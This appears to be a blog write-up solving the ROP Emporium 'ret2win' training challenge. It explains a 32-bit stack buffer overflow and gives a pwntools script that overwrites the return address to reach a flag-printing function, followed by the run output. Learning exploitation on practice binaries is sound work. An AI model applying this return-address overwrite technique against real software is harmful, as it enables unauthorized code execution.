Skip to content
ret2win

ret2win

January 3, 2021

ret2win cover: overwriting the return address

ROP Emporium is a great series for learning return-oriented programming, and ret2win is where it all starts. The binary pretty much tells you what’s wrong with it, so the fun part is turning that into a working exploit.

⚡
TL;DR: ret2win32 reads 56 bytes into a 32-byte stack buffer. Send 44 bytes of padding followed by the address of ret2win() (0x0804862c) and the function prints the flag.

The bug

The challenge is honest about it. Right after launch it says:

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

Too much input for the buffer means we can write past it, over the saved EBP and then over the saved return address. When the vulnerable function returns, the CPU jumps wherever we told it to.

🧠
Because the input is taken with read() and not gets() or scanf(), null bytes and newlines don’t stop the copy. We can put any raw bytes we like into the payload.

Building the payload

The binary contains a function called ret2win at 0x0804862c, which prints the flag. We just need to return into it.

Stack layout: 44 bytes of A fill the buffer and saved EBP, then the return address is overwritten with 0x0804862c

Padding

44 bytes of A (0x41) fill the buffer and everything up to and including the saved EBP.

Return address

The next 4 bytes land on the saved return address. We write 0x0804862c there.

Mind the byte order

x86 is little endian, so the address goes into the payload backwards: \x2c\x86\x04\x08.

🔁
Writing the address as \x08\x04\x86\x2c is the classic first-timer mistake. The program will simply crash instead of printing the flag.

Exploit

Here is the full script using pwntools:

#!/usr/bin/env python3

from pwn import *

ret2win_path="./ret2win32"
ret2win_addr="0x0804862c"

r2wp = process(ret2win_path)
buf = 44*b'\x41'+b'\x2c\x86\x04\x08'
print(r2wp.recvuntil(b'>').decode('utf-8'))

r2wp.sendline(buf)
print(r2wp.recvuntil(b'}').decode('utf-8'))

And the run:

$ PYTHONIOENCODING=utf8 ./ret2win.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './ret2win32': pid 26910
ret2win by ROP Emporium
x86

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

>
 Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}

Flag captured. You can also download my Python script here.

Wrap-up

  • An oversized read() into a fixed stack buffer is all it takes to control EIP.
  • On 32-bit x86 the offset to the return address covers the buffer plus the 4-byte saved EBP.
  • Pack addresses in little-endian order, or let pwntools do it for you with p32(0x0804862c).
Last updated on